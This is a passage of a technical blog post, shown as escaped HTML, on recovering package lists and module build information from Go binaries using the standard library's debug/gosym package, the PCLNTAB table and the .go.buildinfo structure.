fact, we actually don&amp;rsquo;t. Finally, let&amp;rsquo;s limit us to only using the standard
library and optionally a &amp;ldquo;golang x&amp;rdquo; package.&lt;/p&gt;
&lt;h2&gt;The Debug Package&lt;span class="hx:absolute hx:-mt-20" id="the-debug-package"&gt;&lt;/span&gt;
&lt;a href="#the-debug-package" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;A package that everyone who wants to do some analysis of Go binaries should
know about is the &lt;a href="https://pkg.go.dev/debug"target="_blank" rel="noopener"&gt;&lt;code&gt;debug&lt;/code&gt;&lt;/a&gt; package in the standard
library. The package provides sub-packages to parse ELF (Linux and Unix), PE
(Windows), and Mach-O (macOS) files. In addition to this, it also has useful
functions for parsing some of the data structures we need to process. One good
thing with these functions is that they are not dependent on debug information
or symbols, which means we can use them for stripped &amp;ldquo;production builds.&amp;rdquo;
Finding the structures is a bit harder but unfortunately not something we can
work around. The metadata table we are going to focus on in this section is the
&lt;code&gt;PCLNTAB&lt;/code&gt;. The &lt;code&gt;PCLNTAB&lt;/code&gt; was added in Go 1.2 and holds data needed for Go&amp;rsquo;s
panic messages. The table is used to map between the program counter (location
of an assembly instruction) and the source code file and line number, allowing
a more developer-friendly panic message as it includes where in the source code
the panic occurred. What is also part of this table is a list of all the
function information, including functions that have been eliminated by the
compiler as part of the dead code elimination step. The goal of parsing this
table is to recover all the packages in the Go binary. Before we can process
the table, we need to first find it. This is very easy for ELF and Mach-O files
because the table is located in its own section called &lt;code&gt;.gopclntab&lt;/code&gt;. When it
comes to PE files, the process is a bit less straightforward. The table is
usually located in the &lt;code&gt;.rdata&lt;/code&gt; or &lt;code&gt;.text&lt;/code&gt; section of the PE file. The table
starts with a magic value that can be used to locate the start of the table.
For Go binaries compiled with 1.2 up to excluding 1.16 of the compiler, the
magic value is &lt;code&gt;0xfffffffb&lt;/code&gt;. For files compiled with 1.16 and later the magic
value is &lt;code&gt;0xfffffffa&lt;/code&gt;. To ensure the match is correct we can use
&lt;a href="https://cs.opensource.google/go/go/&amp;#43;/refs/tags/go1.17.3:src/debug/gosym/pclntab.go"target="_blank" rel="noopener"&gt;the same checks&lt;/a&gt;
that the parser function uses to check the table. To parse the table, we will
use the &lt;code&gt;debug/gosym&lt;/code&gt; package. First, we need to create a &lt;code&gt;LineTable&lt;/code&gt; with the
function &lt;a href="https://pkg.go.dev/debug/gosym#NewLineTable"target="_blank" rel="noopener"&gt;&lt;code&gt;NewLineTable&lt;/code&gt;&lt;/a&gt;. Using
the &lt;code&gt;LineTable&lt;/code&gt; we can create a symbol table with the function
&lt;a href="https://pkg.go.dev/debug/gosym#NewTable"target="_blank" rel="noopener"&gt;&lt;code&gt;NewTable&lt;/code&gt;&lt;/a&gt;. The &lt;code&gt;NewTable&lt;/code&gt; function
accepts a byte slice of the symbol table. This argument can be nil which is
good since the symbol table is not available in stripped binaries.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;gosym&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;NewLineTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;lntabBuf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;textStart&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nx"&gt;tab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;gosym&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;NewTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The definition of the structure returned is shown in the code snippet below.
The structure has really one field which is exported, &lt;code&gt;Funcs&lt;/code&gt; which is a slice
of &lt;a href="https://pkg.go.dev/debug/gosym#Func"target="_blank" rel="noopener"&gt;&lt;code&gt;Func&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Syms&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;Sym&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// nil for Go 1.3 and later binaries&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Funcs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;Func&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// for Go 1.2 and later all files map to one Obj&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Objs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;Obj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// for Go 1.2 and later only one Obj in slice&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// contains filtered or unexported fields&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;a href="https://pkg.go.dev/debug/gosym#Func"target="_blank" rel="noopener"&gt;&lt;code&gt;Func&lt;/code&gt;&lt;/a&gt; type holds information about
a single function which includes the entry point and where it ends. These
addresses are the memory locations when the file is loaded into memory for
execution and not the offset from the beginning of the file. If the function
has been eliminated by the compiler, the entry has a value of &lt;code&gt;uint64(0)&lt;/code&gt;. The
&lt;code&gt;Func&lt;/code&gt; structure also includes a pointer to the underlying symbol. Via the
&lt;a href="https://pkg.go.dev/debug/gosym#Sym"target="_blank" rel="noopener"&gt;&lt;code&gt;Sym&lt;/code&gt;&lt;/a&gt;, we can access the name of the
function via the method
&lt;a href="https://pkg.go.dev/debug/gosym#Sym.BaseName"target="_blank" rel="noopener"&gt;&lt;code&gt;BaseName&lt;/code&gt;&lt;/a&gt; and the package it
belongs to via the method
&lt;a href="https://pkg.go.dev/debug/gosym#Sym.PackageName"target="_blank" rel="noopener"&gt;&lt;code&gt;PackageName&lt;/code&gt;&lt;/a&gt;. If the &lt;code&gt;Func&lt;/code&gt;
is a method attached to a type, the method
&lt;a href="https://pkg.go.dev/debug/gosym#Sym.ReceiverName"target="_blank" rel="noopener"&gt;&lt;code&gt;ReceiverName&lt;/code&gt;&lt;/a&gt; returns the
string name of the receiver. Otherwise, it returns an empty string. Using this
information, we can iterate through all functions to discover which packages
are used and which functions are reachable (according to the Go compiler&amp;rsquo;s dead
code elimination logic). Additional logic based on heuristics to determine if
the package is part of the standard library, a dependency, or the main module
can be used to sort the packages.&lt;/p&gt;
&lt;h2&gt;Build Information&lt;span class="hx:absolute hx:-mt-20" id="build-information"&gt;&lt;/span&gt;
&lt;a href="#build-information" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;With the introduction of the module system, there is another way of enumerating
the packages used when compiling a Go program. While this information is only
available in binaries compiled with &lt;code&gt;go mod&lt;/code&gt; enabled, the data is richer. The
build info structure is available as a separate section in ELF and Mach-O
files. The section name is &lt;code&gt;.go.buildinfo&lt;/code&gt;. For PE files this data is stored
inside one of the data sections. It&amp;rsquo;s a small data structure of 32-bytes. An
example is shown in the code snippet below. The first 16-bytes is the structure
header. It starts with a 14-byte magic value of &lt;code&gt;0xff Go buildinf:&lt;/code&gt;. The next
byte is either &lt;code&gt;0x4&lt;/code&gt; or &lt;code&gt;0x8&lt;/code&gt; and gives the pointer size in bytes. The last
byte in the header indicates the bit-endianness, a &lt;code&gt;0x0&lt;/code&gt; means little-endian
while a &lt;code&gt;0x1&lt;/code&gt; means big-endian.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0086e000 ff20 476f 2062 7569 6c64 696e 663a 0800 . Go buildinf:..
0x0086e010 30a3 8800 0000 0000 70a3 8800 0000 0000 0.......p.......&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Following the header are two pointers to two Go strings. Under the hood, a Go
string is a structure with a pointer to the start of the data as the first
field and a length of the data as the second field. The first string is the
version of the compiler that was used to compile the binary. The second string
is the build information. This string is only available if the project was
compiled with go modules enabled. The &lt;code&gt;runtime&lt;/code&gt; package has the logic to
&lt;a href="https://github.com/golang/go/blob/4d8db00641cc9ff4f44de7df9b8c4f4a4f9416ee/src/runtime/debug/mod.go#L37"target="_blank" rel="noopener"&gt;parse&lt;/a&gt;
the build info string into the &lt;code&gt;BuildInfo&lt;/code&gt; structure shown in the snippet
below. The structure essentially holds the information from the &lt;code&gt;go.mod&lt;/code&gt; file
plus the checksums from &lt;code&gt;go.sum&lt;/code&gt;.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// BuildInfo represents the build information read from&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="c1"&gt;// the running binary.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BuildInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The main package path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The module containing the main package&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Deps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Module dependencies&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="c1"&gt;// Module represents a module.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// module path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// module version&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// checksum&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Replace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// replaced by this module&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The code in the
&lt;a href="https://github.com/golang/go/blob/master/src/runtime/debug/mod.go"target="_blank" rel="noopener"&gt;runtime&lt;/a&gt;
for parsing out this data structure has seen some changes in the last couple of
months. The logic has also been added as part of a sub-package in the
&lt;a href="https://github.com/golang/go/blob/master/src/debug/buildinfo/buildinfo.go"target="_blank" rel="noopener"&gt;&lt;code&gt;debug&lt;/code&gt;&lt;/a&gt;
package that can be assumed to be part of release Go 1.18. One thing that has
&lt;a href="https://github.com/golang/go/blob/5337e53dfa3f5fde73b8f505ec3a91c628e8f648/src/runtime/debug/mod.go#L40"target="_blank" rel="noopener"&gt;changed&lt;/a&gt;
with the structure is the addition of the &lt;code&gt;Settings&lt;/code&gt; field to hold more
information about the build environment.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// BuildInfo represents the build information read from a Go binary.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;BuildInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GoVersion&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Version of Go that produced this binary.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The main package path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The module containing the main package&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Deps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Module dependencies&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Settings&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nx"&gt;BuildSetting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Other information about the build.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="c1"&gt;// Module represents a module.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// module path&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// module version&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// checksum&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Replace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// replaced by this module&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
